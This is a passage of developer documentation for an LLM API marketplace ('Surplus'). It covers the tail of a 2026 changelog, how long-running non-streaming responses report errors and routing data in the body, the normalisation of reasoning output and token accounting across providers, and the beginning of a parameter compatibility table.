`is_best`, `outbid`, `requests_24h`, `requests_7d`, `earned_7d_usdc` and `last_sale_at`, and the list adds `summary`, counted over all your offers whatever the page: active, healthy, failing, auth-error and at-best offers, outbid offers, models and providers live, the last 24 hours' requests and earnings, per-provider and per-model rows, and `checked_at`. Anything not yet known is `null`. - **Markets.** `GET /api/markets` rows and the order book's `depth` add `best_live_discount_pct`, `median_live_discount_pct` and `best_trusted_offer_discount_pct`, measured against each model's reference price (omitted or `null` when there is none, never 0). The order book adds `realized_7d` (the average discount buyers actually got over 7 days, with the week before), `discount_trend_7d` (the best realized discount per 12 hours), `recent_fills[].route` and `recent_fills_as_of`. `/api/marketplace` adds `requests_24h`, `seller_earned_24h_micro`, `sellers_live`, `trusted_sellers_live`, `providers_live`, seller best-discount histograms and `computed_at`. Provider performance adds `p95_latency_ms`, and public usage adds `discount_7d`, `discount_histogram_7d` and uncached input tokens (`input_tokens` is gross). - **Keys, routes and your account.** API keys' `last_used_at` is kept current (seller and admin keys to within five minutes), and your own provider routes (`/v1/buyer/providers`) add `last_used_at` and `uses_this_week` (a route added from now on is counted from creation and reads 0 until first used). Session org entries add `role`, and the session and `POST /v1/auth/active-org` add `platform_admin`. Notification rules add `state` and `last_triggered_at`. New `GET /v1/orgs/:orgId/invites` and `DELETE /v1/orgs/:orgId/invites/:inviteId` list and revoke pending invites. - **Keys mean your API keys.** Key counts and key breakdowns in spend analytics (`distinct_keys`, `dim=key`), the Explorer's key grouping, filter and CSV export, and the request log's `key_id` (rows, `GET /v1/requests/facets` and the filter) now count and list only your account's own API keys. Requests from a signed-in session or paid with x402/MPP still count in every total but show no key (`key_id: null`); filtering by anything other than one of your keys returns 400 (`invalid_key_id` on the request log, `invalid_explorer_query` on the Explorer). The `request.failed` webhook's `key_id` is the API key the request used, or `null`. - **Providers onboarded through configuration show as themselves.** A provider added without a code release (for example FusionCode or BytePlus) now appears under its own provider id, never `unknown`, on seller earnings (`by_provider`, recent sales), seller offers (`provider`, `summary.providers`), the marketplace's `providers_live`, spend analytics provider groups, the Explorer's provider route, and each market's per-provider breakdown on `/api/markets` and `/api/marketplace`. `GET /api/providers` entries add `provider_id`, the id every one of those surfaces uses for the provider (for example `google` for both Google entries), so a client can turn any of them into a display `name`. - **Notifications.** The low-balance alert rule reads "Notify me when my balance drops below the amount I set.", and notification emails meet WCAG AA contrast and fit a phone's width. - **Browser errors and CORS.** New `POST /v1/client-errors` and `POST /v1/client-errors/csp` take scrubbed, rate-limited error and CSP reports from our web apps. Credentialed cross-origin calls are now allowed only from the Surplus dashboard's own origins; any other origin gets `Access-Control-Allow-Origin: *` without credentials. API-key calls are unaffected. - **The four CSV exports are deprecated.** They now send `Deprecation` and `Sunset` headers and stop working on 2027-06-30; the dashboard's Activity pages and the JSON endpoints above replace them. - **Restricted keys stay restricted.** An API key with a scope, trusted-only provider setting, budget, or expiry, and every team-workspace key, can no longer create, rename, configure, or revoke keys, or change account routing preferences or BYOK providers, on `/v1/buyer/*` and `/v1/seller/keys`. It gets `403 restricted_key`, can still read keys, and can revoke itself. Before this, such a key could mint an unrestricted sibling. Unrestricted keys and dashboard sessions work as before. See [Buyer Endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints). - **Async media stops failing you quietly.** A video or music job whose only sellers are listed against a host that cannot run that endpoint now returns `404 no_sellers_for_model` up front, instead of being accepted, charged and failed later; those offers are being removed from the marketplace. Both async endpoints now document their full error table, including which failures are retryable. See [Video Generations](https://www.surplusintelligence.ai/docs/api-reference/video-generations) and [Music Generations](https://www.surplusintelligence.ai/docs/api-reference/music-generations). - **One prepaid balance, reported the same everywhere.** `GET /v1/buyer/me` reports `credit_balance_usdc` as your whole spendable prepaid balance - fiat credit plus deposited USDC - the same figure `/v1/payments/balance` already returned. Deposited USDC can also fund video and music jobs, which previously saw only fiat credit and could refuse a funded buyer. - **OpenAI-backed image edits work.** Edits routed to OpenAI were rejected by the provider because we sent the wrong field shape. `POST /v1/images/edits` now works on those models; nothing about the request you send changed. See [Image Generations → Image-to-Image](https://www.surplusintelligence.ai/docs/api-reference/image-generations#image-to-image-editing). - **Unknown image sizes no longer error internally.** An unrecognized `size` used to be able to fail the price estimate outright; it is now handled cleanly. - **Latency and uptime on the offers table:** expanding a model on the Markets page now shows each offer's provider latency (median time to first token) and uptime over the trailing 24 hours, both sortable. `-` means not enough data. See [Provider Performance](https://www.surplusintelligence.ai/docs/marketplace/provider-performance). - **Model latency, uptime, cache hit rate and throughput on the catalog list:** every row of `GET /api/markets` now carries `ttft_p50_ms`, the model's median time to first token over the trailing 24 hours across all of its providers (with `ttft_samples` beside it), `uptime_pct` over the same window, `cache_hit_rate_pct`, the share of input tokens served from the prompt cache, and `tps_p50`, the median output tokens per second while streaming. The per-provider performance endpoint gains `tps_p50` and `tps_samples` too. `null` means not enough data to measure, never zero. See [Market Data](https://www.surplusintelligence.ai/docs/api-reference/markets). - **Per-request cost on your API key:** buyer API keys can read the exact settled cost of their own requests, and `/v1/chat/completions` returns a settlement request id so a streamed request's final cost is retrievable once the stream ends. - **Public provider performance and benchmarked discounts:** each model's marketplace page shows measured per-provider performance, and every displayed discount is benchmarked against live upstream list prices. See [Provider Performance](https://www.surplusintelligence.ai/docs/marketplace/provider-performance). - **Routing controls:** pin a request to a chosen set of providers, and set a per-key minimum-discount floor (replacing the older price ceiling) so a key only routes to offers at or above the saving you require. See [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) and [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). - **Cache and reasoning in usage analytics:** usage now breaks out cached input tokens and reasoning tokens per request, so token mix and cost are visible at a glance. See [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning). - **Streaming keep-alive:** long generations stay connected while a provider is briefly silent, so a slow but valid response no longer times out mid-stream. - **Marketplace filters:** the marketplace has buyer-facing filters and a dedicated mobile filter view for narrowing the model list without leaving the page. ### August 2026 - **Reasoning delivered and billed correctly, end to end:** reasoning content is relayed across both the OpenAI and Anthropic wires and in both directions, reasoning tokens are persisted for billing and analytics, and Gemini reasoning survives multi-turn tool calls. See [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning). - **No charge for undelivered output:** in-band provider stream faults are detected mid-stream, so a request that delivers zero output tokens is not billed. - **Organizations:** roles and permissions are explained in-product, with documentation for members, workspaces, wallets, API keys, and organization analytics. See [Organizations](https://www.surplusintelligence.ai/docs/organizations/index). - **API-first key management:** buyer and seller keys can be created, rotated, and managed entirely over the API. See [Buyer Endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints) and [Seller Endpoints](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints). - **One active offer per credential, base URL, and model:** duplicate seller offers are now rejected across every workspace, so the same credential cannot be listed against the same model twice. ### July 2026 - **Image-to-image editing:** new `POST /v1/images/edits` endpoint: edit an existing image with a text prompt using an edit-capable model (e.g. `nano-banana-2-edit`, `qwen-image-2-edit`). `POST /v1/images/generations` runs the same edit flow when the body carries a source image (`image_url`, `input_images`, or a `data:` URI). Masked/inpaint edits are not supported yet. See [Image Generations → Image-to-Image](https://www.surplusintelligence.ai/docs/api-reference/image-generations#image-to-image-editing). - **Image-to-video:** `POST /v1/video/generations` accepts a start frame (`image_url`), a transition `end_image_url`, and multi-image `input_images` (roles `start`/`end`/`reference`). Image-to-video-only models require a source image. See [Video Generations → Image-to-Video](https://www.surplusintelligence.ai/docs/api-reference/video-generations#image-to-video). - **Multi-image inputs:** both surfaces accept up to 8 source images via `input_images` (strings or `{ url, role }` objects). On images, the first entry is the base and the rest are reference/edit layers; on video, untagged entries are positional (`[start]` or `[start, end]`) and further images take explicit roles. Sources are `https://` URLs or `data:` URIs; URLs are passed to the provider as-is and never fetched by the marketplace. ### June 2026 - **Multi-provider pinning:** the `provider` hint on `/v1/chat/completions` now accepts an array (an allow-list), e.g. `"provider": ["zai", "openrouter"]`, routing to the cheapest healthy offer among the listed providers. A single string still works unchanged. Unrecognized providers are dropped; if every pinned provider is unrecognized the request returns `400 unsupported_provider` (a *supported* provider with no offer for the model still returns `404 no_sellers_for_model`). See [Chat Completions → Provider Pinning](https://www.surplusintelligence.ai/docs/api-reference/chat-completions#provider-pinning-blocking-and-ordering). - **API moved to AWS:** the API base host is now `https://api.surplusintelligence.ai`. Inference endpoints live under `/v1/*` (e.g. `/v1/chat/completions`, `/v1/models`, `/v1/prices`), markets under `/api/markets`, and account endpoints under `/v1/buyer/*` and `/v1/seller/*`. Update your `base_url` to `https://api.surplusintelligence.ai/v1`. The legacy dedicated fallback-key endpoint was retired; register a catch-all provider with `model: null` via `POST /v1/buyer/providers` instead. ### April 2026 - **Bankr LLM Gateway:** 32 models at 0.05x cost, self-sustaining auto top-up loop (PRs #55-57) - **External wallet auth fix:** Rainbow, WalletConnect now create inference sessions (PR #60) - **GLM 5.1** added to model registry (PR #59) - **$500/day giveaway** launched ### March-April 2026 - **Model naming unification:** single source of truth introduced with 58 models / 8 providers at the time (PRs #19-26). Current live counts are higher; use `/v1/models` and `/api/markets` for current numbers. - **Tool format normalization:** Cursor full compatibility (PRs #29, 31) - **x402 payment rail:** agents can pay per-request - **Priority Provider (BYOK):** use your own key + marketplace overflow - **CSV usage export** for buyers - **Payout address** feature for sellers ### February-March 2026 - **Settlement contract** deployed on Base - **187 tests** (unit + integration) - **10 provider integrations** with automatic pricing discovery - **Multi-key support:** up to 25 keys per wallet --- # /docs/reference/long-running-responses # Long-Running Responses A non-streaming completion that takes a long time is answered differently from a fast one. The response is still valid OpenAI-shaped JSON, but three things change, and one of them will mislead a client that only checks the HTTP status code. This page is the whole contract for that case. It applies to non-streaming requests only - streaming is unaffected. ## What changes A non-streaming request that is still running after a threshold **commits its response early**: the status line and headers are sent before the completion exists, so the connection survives intermediaries that would otherwise time it out. Everything after that point travels in the body. Three observable consequences: | | fast request | long request | | ------------------------ | ------------------------------------------------------ | -------------------------------------- | | HTTP status | the real status (`200`, `401`, `402`, `404`, `503`, …) | always **`200`** | | body prefix | none | **leading whitespace** before the `{` | | `x-si-*` routing headers | all present | moved into a **`surplus`** body object | The leading whitespace is insignificant JSON - `JSON.parse` and every standard SDK handle it without changes. You do not need to trim it. ## Reading an error: the status code is no longer enough **On a long request you will receive `200` even when the request failed.** The status was already committed before the outcome was known, so it cannot be changed. The real outcome is in the body. **Detect failure by inspecting the body, not the status.** The reliable test on both surfaces: ```js const res = await fetch(url, { method: 'POST', headers, body }); const data = await res.json(); // Works for fast AND long requests, on every surface. if (data.error || !data.choices) { // failed — read data.error.code / data.error.type / data.error.message } ``` Checking `res.ok` alone, or `res.status === 200`, will treat a failed generation as a success. ### OpenAI-compatible surfaces `/v1/chat/completions`, `/v1/completions`, `/v1/responses`: ```json { "error": { "type": "service_unavailable", "code": "no_healthy_sellers", "message": "..." } } ``` There is **no `choices` array** on a failed response, which is the simplest thing to branch on. `error.code` carries the real cause - the same code a fast request would have returned in its status envelope, so existing error-handling code keyed on `code` keeps working. `error.type` reads `service_unavailable` for a failure discovered after the commit; do not key on it to distinguish causes. ### Anthropic-compatible surface `/anthropic/v1/messages` keeps its own error shape, which carries no `code`: ```json { "type": "error", "error": { "type": "api_error", "message": "..." } } ``` ### A note on upstream errors A `200` carrying an `error` object can also come straight from the upstream provider, independently of anything on this page. The detection recipe above covers both cases, which is why it is the one to implement. ## Where the headers went On a long request the routing disclosures cannot be sent as headers, so they are published additively under a single `surplus` key: ```json { "id": "chatcmpl-…", "choices": [ … ], "usage": { "prompt_tokens": 596, "completion_tokens": 2266, "buyer_cost_micro": 2132 }, "surplus": { "provider": "venice", "served_by": "marketplace", "marketplace_status": "served", "attempts": 1, "routing_decision_ms": 19, "adapted_params": ["max_tokens"], "truncated": false } } ``` `surplus` is **additive** - nothing else in the response is rewritten - and it appears only on a committed response. Fast requests are byte-identical to what they have always returned, with every header intact and no `surplus` key. Fields with nothing to report are omitted rather than sent as `null`. ### What you get, and the header it replaces | `surplus` field | type | replaces | meaning | | ---------------------- | --------- | --------------------------- | ------------------------------------------- | | `provider` | string | `x-si-provider-family` | the provider family that served the request | | `served_by` | string | `x-si-served-by` | `marketplace`, or your own key | | `marketplace_status` | string | `x-si-marketplace-status` | outcome of marketplace routing | | `attempts` | number | `x-si-marketplace-attempts` | how many sellers were tried | | `failed_attempts` | string | `x-si-attempts` | which attempts failed, and why | | `preferred_key_status` | string | `x-si-preferred-key-status` | whether your own provider key was used | | `routing_decision_ms` | number | `x-si-routing-decision-ms` | time spent choosing a seller | | `upstream_total_ms` | number | `x-si-upstream-total-ms` | route start → the attempt that served | | `route_objective` | string | `x-si-route-objective` | what routing optimised for | | `cache_mode` | string | `x-si-cache-mode` | active prompt-cache mode | | `cache_warm` | string | `x-si-cache-warm` | warmth of the served offer | | `cache_served_by_warm` | boolean | `x-si-cache-served-by-warm` | whether the served offer was warm | | `truncated` | boolean | `x-si-truncated` | output hit the token ceiling | | `adapted_params` | string\[] | `x-si-adapted-params` | parameters the marketplace rewrote | | `secrets_withheld` | number | `x-si-secrets-withheld` | secrets held back from the provider | | `secrets_masked` | number | `x-si-secrets-masked` | secrets masked in the request | | `secret_masking` | string | `x-si-secret-masking` | active masking mode | Numbers arrive as numbers, booleans as booleans, and `adapted_params` as an array - not the CSV string the header used. ## Where to find what you were billed When the request has a known priced charge, `usage.buyer_cost_micro` is in the body of the non-streaming response, fast or long, and is not affected by any of the above. When the charge is unknown, the field is omitted rather than reported as zero. Values are integer microdollars, where `1_000_000` = 1 USD. The `x-si-buyer-cost-micro` header is absent on a committed response. Use the `usage` field when the charge is known, and the request log for authoritative reconciliation when it is omitted. ## Checklist - Branch on `data.error` / `data.choices`, never on HTTP status alone. - Read the charge from `usage.buyer_cost_micro` when present; use the request log for authoritative reconciliation when it is omitted. - Read routing detail from `surplus` when present, falling back to the `x-si-*` headers. - Do not trim the leading whitespace; hand the body to your JSON parser as-is. - Streaming is unaffected - SSE requests behave exactly as documented elsewhere. --- # /docs/reference/output-spec # Surplus API Output Specification Surplus standardizes reasoning output, token accounting, and reasoning request translation across every text provider so a single client integration behaves consistently regardless of which seller serves the request. The contract follows OpenRouter's canonical output shape and is enforced identically on both the API service (ECS) and the edge routing plane (Cloudflare Worker). ## Scope & Surfaces | Surface | Path(s) | Output contract | | ---------------------- | ------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Chat Completions** | `POST /v1/chat/completions`, `POST /min{N}/v1/chat/completions` (non-streaming, long-running assembled, and SSE `stream: true`) | Canonical `reasoning`, permanent `reasoning_content` alias, structured `reasoning_details`, canonical `usage.completion_tokens_details.reasoning_tokens`, and local `reasoning.exclude` enforcement across every text provider. | | **Responses API** | `POST /v1/responses`, `POST /min{N}/v1/responses` | Native OpenAI Responses format: reasoning items inside `output[]` and `usage.output_tokens_details.reasoning_tokens`. `reasoning.exclude` is ignored on `/v1/responses`. | | **Anthropic Messages** | `POST /anthropic/v1/messages`, `POST /anthropic/min{N}/v1/messages` | Native Anthropic Messages format: `thinking` and `redacted_thinking` content blocks. Inbound `reasoning`, `reasoning_effort`, and standalone `output_config.effort` (when `thinking` is absent) are relayed into canonical routing and translated per seller. The Chat Completions `reasoning.exclude` output stripper is not applied on this surface. | | **Media & Embeddings** | `/v1/images/*`, `/v1/audio/*`, `/v1/video/*`, `/v1/music/*`, `/v1/embeddings` | Unchanged; no reasoning fields or reasoning usage normalization apply. | For per-model reasoning capability metadata, see [Models](https://www.surplusintelligence.ai/docs/api-reference/models). For request-side parameter adaptation details, see [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) and [Parameter Compatibility](https://www.surplusintelligence.ai/docs/reference/parameter-compatibility). ## Chat Completions Output Contract (Non-Streaming & Assembled) Every non-streaming and long-running assembled Chat Completions response normalizes each `choices[i].message` object to the same canonical reasoning fields: | Field | Type | Contract | | -------------------------------------- | ------------------- | ---------------------------------------------------------------------------------------------------- | | `choices[i].message.reasoning` | `string` (optional) | Canonical readable reasoning text produced by the model. | | `choices[i].message.reasoning_content` | `string` (optional) | Permanent backward-compatible alias mirroring `reasoning` identically. | | `choices[i].message.reasoning_details` | `array` (optional) | Canonical structured array of OpenRouter-shaped reasoning objects for display and multi-turn replay. | ### `reasoning_details` Entry Shapes Each element in `reasoning_details` uses one of three discriminated shapes: - **`reasoning.text`**: `{ "type": "reasoning.text", "text": "...", "format"?: "...", "index"?: 0, "signature"?: "..." }` - **`reasoning.summary`**: `{ "type": "reasoning.summary", "summary": "...", "format"?: "...", "index"?: 0 }` - **`reasoning.encrypted`**: `{ "type": "reasoning.encrypted", "data": "...", "id"?: "...", "format"?: "...", "index"?: 0 }` `format` and `index` are always present on entries synthesized by Surplus, and are optional on upstream pass-through entries and Anthropic redacted encrypted entries (`redacted_thinking` mapped to `reasoning.encrypted`). ### Preservation, Scrubbing, and Omission Rules - **Signed & encrypted detail fidelity:** Complete upstream signed `reasoning.text` entries (carrying both `signature` and `text`) and `reasoning.encrypted` entries are preserved verbatim without mutating their signed fields. When an upstream provider emits only raw reasoning text (`reasoning` or `reasoning_content`), Surplus synthesizes a `reasoning.text` entry in `reasoning_details`. - **Encrypted blob scrubbing:** Host-specific encrypted payload leaks — including `__ENCRYPTED_REASONING__` sentinel blocks appended inside `reasoning_content` / `reasoning` and non-standard `reasoning_encrypted` message fields — are scrubbed out of readable text and the message root, and moved into a structured `reasoning.encrypted` entry inside `reasoning_details` (without duplicating an existing `reasoning.encrypted` entry). - **Clean omission when no reasoning was produced:** When a model produces no reasoning — including non-reasoning models, models that emit no thought text (such as OpenAI o-series), or upstream responses carrying empty `reasoning: ""`, `reasoning_content: ""`, or `reasoning_details: []` — all three fields (`reasoning`, `reasoning_content`, and `reasoning_details`) are omitted from `choices[i].message`. ```json { "id": "chatcmpl-...", "object": "chat.completion", "model": "claude-opus-4.6", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "42", "reasoning": "Let me verify the arithmetic step by step...", "reasoning_content": "Let me verify the arithmetic step by step...", "reasoning_details": [ { "type": "reasoning.text", "text": "Let me verify the arithmetic step by step...", "format": "anthropic-claude-v1", "index": 0, "signature": "EqoBCkgIARAA..." } ] }, "finish_reason": "stop" } ], "usage": { "prompt_tokens": 24, "completion_tokens": 180, "total_tokens": 204, "completion_tokens_details": { "reasoning_tokens": 168 }, "buyer_cost_micro": 4120, "cost": 0.00412 } } ``` ## Chat Completions Streaming Contract (SSE) On `stream: true`, every `chat.completion.chunk` frame applies the same contract to `choices[i].delta`: - **`delta.reasoning` and `delta.reasoning_content`:** Mirror the readable reasoning text fragment for that chunk. - **`delta.reasoning_details`:** Mirrors the structured reasoning fragments for that chunk. On Anthropic-wire streams where `signature_delta` arrives as a separate signature-only fragment, Surplus stamps matching `format` and `index: 0` so streaming clients merge the signature cleanly onto the active `reasoning.text` block. Complete signed `reasoning.text` entries (`signature` + `text`) are preserved verbatim. - **Encrypted payload scrubbing:** Non-standard `delta.reasoning_encrypted` is moved into `delta.reasoning_details` (`type: "reasoning.encrypted"`) and scrubbed from the delta root. `__ENCRYPTED_REASONING__` sentinel blocks (including multi-delta encrypted continuations) are scrubbed from `delta.reasoning` and `delta.reasoning_content`. - **Empty & excluded delta dropping:** When normalization or `reasoning.exclude: true` leaves every choice's `delta` empty on a chunk that carries no `content`, `tool_calls`, `function_call`, `refusal`, `finish_reason`, or `usage`, that empty SSE frame is dropped cleanly. ```text data: {"id":"chatcmpl-...","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"reasoning":"Step 1...","reasoning_content":"Step 1...","reasoning_details":[{"type":"reasoning.text","text":"Step 1...","format":"anthropic-claude-v1","index":0}]},"finish_reason":null}]} data: {"id":"chatcmpl-...","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"42"},"finish_reason":null}]} ``` ## Excluding Reasoning Output (`reasoning.exclude: true` / `include_reasoning: false`) To let a model reason internally while hiding reasoning fields from the response, send `"reasoning": { "exclude": true }` (or legacy `"include_reasoning": false`): - **Model still reasons and is billed:** Exclusion hides reasoning output from the buyer response; it does not turn reasoning off. Hidden reasoning tokens remain billed at the output rate and are reported in `usage.completion_tokens_details.reasoning_tokens` **when known** (omitted when unreported upstream). - **Stripped across all Chat delivery modes:** `reasoning`, `reasoning_content`, `reasoning_details` (and any `reasoning_encrypted`) are stripped from non-streaming, long-running assembled, and SSE streaming Chat Completions responses, and excluded reasoning-only SSE deltas are dropped. - **Precedence:** An explicit boolean `reasoning.exclude` takes precedence over legacy `include_reasoning`. For example, sending `"reasoning": { "exclude": false }` together with `"include_reasoning": false` keeps reasoning output visible. - **Surface scope:** Exclusion applies to Chat Completions only. `reasoning.exclude` is ignored on `/v1/responses`. On Anthropic-wire sellers routed from Chat Completions, `reasoning.exclude: true` also sets `thinking.display: "omitted"`. ## Canonical `usage` Object & Token Accounting All Chat Completions responses (non-streaming, assembled, and final SSE usage chunks requested via `stream_options: { "include_usage": true }`) obey a single token-accounting contract: - **Single canonical reasoning token count:** `usage.completion_tokens_details.reasoning_tokens` is the only reasoning token field emitted on Chat Completions. - **Alias canonicalization & cleanup:** Non-canonical upstream reasoning-token fields are moved into `usage.completion_tokens_details.reasoning_tokens` and their alias leaves are removed from the buyer-visible response: - `usage.completionTokensDetails.reasoningTokens` - `usage.output_tokens_details.reasoning_tokens` - top-level `usage.reasoning_tokens` - top-level `usage.thoughts_token_count` Unrelated sibling keys inside `completionTokensDetails` or `output_tokens_details` are preserved; empty containers are deleted once the alias leaf is removed. - **Inclusion invariant:** `usage.completion_tokens` **always includes** `reasoning_tokens` on buyer-visible responses — including Google Vertex and any upstream host (such as Venice GPT routes) that reports reasoning tokens separately from `completion_tokens` — and `usage.total_tokens = usage.prompt_tokens + usage.completion_tokens`. - **Omit, never invent:** When an upstream provider does not report a reasoning token count (for example Anthropic direct, AWS Bedrock, Snowflake, or Google AI Studio when absent), `usage.completion_tokens_details.reasoning_tokens` is omitted rather than estimated or zero-filled. - **`max_tokens` reasoning-budget warning:** On reasoning models, `max_tokens` caps **total completion tokens including hidden reasoning tokens**. Setting a very small `max_tokens` can exhaust the entire budget on reasoning, returning empty `content` with `finish_reason: "length"`. - **Billing & `buyer_cost_micro`:** `usage.buyer_cost_micro` continues to reflect the exact settled charge in integer microdollars when the request has a known priced charge (and is omitted when the charge is unknown). Output normalization never alters settlement or billing. - **`cost`:** `usage.cost` is the same charge in USD (`buyer_cost_micro / 1e6`), present only when the charge is known (a streamed usage chunk that reports zero input and output tokens carries no `cost`). On `/v1/chat/completions`, `/v1/completions`, `/v1/responses` and `/v1/messages`, a marketplace-served request never passes through the upstream provider's own cost fields (`cost`, `cost_details`, `upstream_inference_cost`, `is_byok`); a request served by your own provider key (a [priority or fallback provider](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider)) carries them as that provider sent them, since they are your provider's bill, not a Surplus charge. ## Unified Reasoning Request Contract & Cross-Provider Translation Buyers can send any of three reasoning controls on `/v1/chat/completions`, and Surplus translates them automatically to the serving provider's native dialect: 1. **Unified object (recommended):** `"reasoning": { "effort"?, "max_tokens"?, "enabled"?, "exclude"? }` (or `"reasoning": false` to disable). 2. **Flat effort string:** `"reasoning_effort": "none" | "minimal" | "low" | "medium" | "high" | "xhigh" | "max"`. 3. **Legacy boolean:** `"include_reasoning": true | false`. When a native `reasoning` object is absent, `include_reasoning: true` maps to `reasoning: { "enabled": true }` and `include_reasoning: false` maps to `reasoning: { "exclude": true }`. Explicit `reasoning.exclude` always takes precedence over `include_reasoning` on Chat output. ### Provider-Wire Translation - **Nested-capable chat hosts** (`openrouter`, `venice`, `mordiem`, `concentrate`, `softforge`, `pearl`): Flat `reasoning_effort` moves into `reasoning.effort` (after host-specific effort-mapping rules). OpenRouter receives `reasoning.exclude` directly; non-OpenRouter nested hosts strip unsupported `reasoning.exclude` upstream while Surplus enforces exclusion locally on the response. - **Flat-only chat hosts** (OpenAI, DeepSeek, Google, Mistral, DashScope, Uncensored, Groq, Fireworks, Together, and all other flat chat hosts): Unified `reasoning` objects (and `reasoning: false`) project to flat `reasoning_effort` (`enabled: false` / `reasoning: false` → `"none"`, `enabled: true` → `"medium"`, `max_tokens` → nearest effort bucket) and remove the unsupported nested `reasoning` key. Models whose catalog `supported_parameters` lists `reasoning` retain `reasoning_effort`. - **Anthropic Messages wire** (Anthropic direct, Bedrock Mantle Claude, Snowflake Cortex, Vertex Anthropic, and Anthropic-wire lanes): Translates `reasoning`, `reasoning_effort`, standalone `output_config.effort`, or `include_reasoning: true` into Anthropic `thinking` using OpenRouter's exact effort-to-budget ratio formula: | Effort | Ratio of `max_tokens` | | ----------------------------------------------------------------------- | --------------------- | | `max` | `0.95` | | `xhigh` | `0.95` | | `high` | `0.80` | | `medium` (also default for `enabled: true` / `include_reasoning: true`) | `0.50` | | `low` | `0.20` | | `minimal` | `0.10` | The raw budget (`floor(max_tokens * ratio)`, or `floor(reasoning.max_tokens)` when explicitly supplied) is clamped to **`[1,024, 128,000]`** and strictly **`< max_tokens`** (`min(raw, max_tokens - 1)`). When `max_tokens <= 1,024`, no `thinking` block is emitted because Anthropic's minimum thinking budget is `1,024` (disclosed in `X-SI-Adapted-Params` without inflating `max_tokens`). Sampling parameters (`temperature`, `top_p`, `top_k`) are suppressed when thinking is enabled (disclosed as `thinking_sampling_suppressed` if sent). Adaptive-only models (`claude-opus-4.7`, `claude-opus-4.8`, and Claude 5.x) automatically translate to adaptive thinking (`thinking: { "type": "adaptive" }` + `output_config.effort`). ### Invalid Native Thinking Budget (`400 invalid_reasoning_budget`) If a request on `/v1/chat/completions` or `/anthropic/v1/messages` explicitly sends native Anthropic `thinking: { "type": "enabled", "budget_tokens": N }` with `budget_tokens >= max_tokens` (or `max_completion_tokens` on Chat Completions), Surplus fails fast at intake with HTTP **`400`** instead of silently stripping `thinking`: - On `/v1/chat/completions`: OpenAI error envelope with `error.code: "invalid_reasoning_budget"` and `error.param: "thinking.budget_tokens"`. - On `/anthropic/v1/messages`: Anthropic's native error envelope (`type: "error"`, `error.type: "invalid_request_error"`). By contrast, unified `reasoning.max_tokens` is never rejected at intake: on Anthropic-wire sellers it is clamped safely below `max_tokens` when `max_tokens > 1,024` (with `X-SI-Adapted-Params: reasoning`), or emits no thinking block when `max_tokens <= 1,024`. ## Provider & Model Caveats Surplus standardizes wire shape and token accounting without fabricating data an upstream provider never returned: - **Models that emit no thought text:** OpenAI o-series (and some reasoning models) reason internally without returning readable reasoning text. `reasoning`, `reasoning_content`, and `reasoning_details` stay absent; `usage.completion_tokens_details.reasoning_tokens` is still reported when known. - **Providers that do not report `reasoning_tokens`:** Anthropic direct, AWS Bedrock, Snowflake, and Google AI Studio (OpenAI-compatible wire) do not emit a separate reasoning token count. Surplus omits `usage.completion_tokens_details.reasoning_tokens` rather than estimating or zero-filling it. - **Gemini thought summaries & `gemini-4-*` dialects:** Gemini reasoning models return summarized thought blocks rather than raw internal chain-of-thought. For effort-only `gemini-4-*` models, budget dialects (`thinking.budget_tokens`, `reasoning.max_tokens`, and `extra_body.google.thinking_config.thinking_budget`) are automatically translated to `reasoning_effort` / `reasoning.effort`. - **Cross-provider replay signature stripping:** Signed reasoning replay carriers (`signature`, `reasoning_details`, and `reasoning_content` on assistant history turns) are stripped automatically when replaying conversation history to hosts that reject foreign reasoning replay fields (such as Fireworks and strict chat hosts), while preserved intact on native providers. - **Per-model upstream quirks handled automatically:** - `glimpse` maps `high` and `max` → `xhigh`, and `minimal` → `low` (OpenRouter rejects `"high"` with HTTP 400). - `claude-opus-4.7` and `claude-opus-4.8` translate to adaptive thinking (`thinking: { "type": "adaptive" }` + `output_config.effort`). - Claude 5.5 on Vertex requests summarized display (`display: "summarized"`) where supported so Vertex returns readable thinking summaries rather than signature-only blocks (otherwise Vertex may emit signature-only thinking). - **Capability discovery:** Per-model reasoning capabilities (`mandatory`, `default_enabled`, `supported_efforts`, `default_effort`, `supports_max_tokens`) are published dynamically under `reasoning` on `GET /v1/models`. See [Models](https://www.surplusintelligence.ai/docs/api-reference/models#reasoning-capabilities). ## See Also - [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) for request parameters, adaptation rules, and billing. - [Models](https://www.surplusintelligence.ai/docs/api-reference/models) for the `GET /v1/models` `reasoning` capability object. - [Chat Completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions), [Responses](https://www.surplusintelligence.ai/docs/api-reference/responses), and [Messages](https://www.surplusintelligence.ai/docs/api-reference/messages) for endpoint contracts. - [Long-Running Responses](https://www.surplusintelligence.ai/docs/reference/long-running-responses) for assembled non-streaming response framing. --- # /docs/reference/parameter-compatibility # Parameter Compatibility Which parameters work with which models. ## Guaranteed Compatible (all models) | Parameter | Description | | -------------------------------------- | ---------------------- | | `model` | Model name | | `messages` | Message array | | `stream` | Enable SSE streaming | | `max_tokens` / `max_completion_tokens` | Max output tokens | | `temperature` | Sampling temperature | | `top_p` | Nucleus sampling | | `stop` | Stop sequences | | `seed` | Deterministic sampling | **Why the same parameter survives on one wire and not another** - **Chat wire - a sieve**: Passes through unless explicitly stripped. Provider extras usually survive. - **Anthropic / Responses - a rebuild**: Reconstructed field by field. Anything without a slot is not carried. The chat wire passes anything it is not told to strip. The Anthropic and Responses wires are rebuilt field by field, so a parameter with no slot in the target shape is simply not carried. ## Widely Supported (most models) | Parameter | Description | | --------------------------- | ------------------------------ | | `tools` / `tool_choice` | Function calling | | `response_format` | JSON mode / structured outputs | | `frequency_penalty` | Repetition reduction | | `presence_penalty` | Topic diversity | | `logprobs` / `top_logprobs` | Token probabilities | On 